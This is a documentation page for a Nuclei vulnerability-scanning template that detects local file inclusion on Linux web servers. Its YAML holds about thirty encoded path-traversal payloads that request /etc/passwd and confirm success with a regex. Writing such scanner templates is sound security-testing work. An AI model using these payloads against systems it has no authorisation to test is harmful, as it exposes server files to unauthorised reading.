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Generic Linux - Local File Inclusion

ID: generic-linux-lfi

Severity: high

Author: geeknik,unstabl3,pentest_swissky,sushantkamble,0xSmiley,DhiyaneshDK

Tags: linux,lfi,generic

Description

Section titled “Description”

Generic Linux is subject to Local File Inclusion - the vulnerability was identified by requesting /etc/passwd from the server.

YAML Source

Section titled “YAML Source”
id: generic-linux-lfi


info:
  name: Generic Linux - Local File Inclusion
  author: geeknik,unstabl3,pentest_swissky,sushantkamble,0xSmiley,DhiyaneshDK
  severity: high
  description: Generic Linux is subject to Local File Inclusion - the vulnerability was identified by requesting /etc/passwd from the server.
  reference: https://github.com/imhunterand/ApachSAL/blob/main/assets/exploits.json
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 32
  tags: linux,lfi,generic


http:
  - method: GET
    path:
      - "{{BaseURL}}{{paths}}"
    payloads:
      paths:
        - "/etc/passwd"
        - "/..%5cetc/passwd"
        - "/..%5c..%5cetc/passwd"
        - "/..%5c..%5c..%5cetc/passwd"
        - "/..%5c..%5c..%5c..%5cetc/passwd"
        - "/..%5c..%5c..%5c..%5c..%5cetc/passwd"
        - "/..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd"
        - "/..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd"
        - "/static/..%5cetc/passwd"
        - "/static/..%5c..%5cetc/passwd"
        - "/static/..%5c..%5c..%5cetc/passwd"
        - "/static/..%5c..%5c..%5c..%5cetc/passwd"
        - "/static/..%5c..%5c..%5c..%5c..%5cetc/passwd"
        - "/static/..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd"
        - "/static/..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd"
        - "/./../../../../../../../../../../etc/passwd"
        - "/%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2eetc/passwd"
        - "/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cetc/passwd"
        - "/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./etc/passwd"
        - "/..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5cetc/passwd"
        - "/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd"
        - "/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/etc/passwd"
        - "/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
        - "/..///////..////..//////etc/passwd"
        - "/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd"
        - "/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd"
        - "/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00"
        - "/index.php?page=etc/passwd"
        - "/index.php?page=etc/passwd%00"
        - "/index.php?page=../../etc/passwd"
        - "/index.php?page=....//....//etc/passwd"
        - "/../../../../../../../../../etc/passwd"


    stop-at-first-match: true
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body
# digest: 4a0a004730450221008fa5b208c40a4d6559380ab46080a222143ade46780db976102c8ff133cb965902202736679db95d3744e75d6c62710145d203a018f61fedc5b2f7937c5e5e019f0d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/generic/generic-linux-lfi.yaml"

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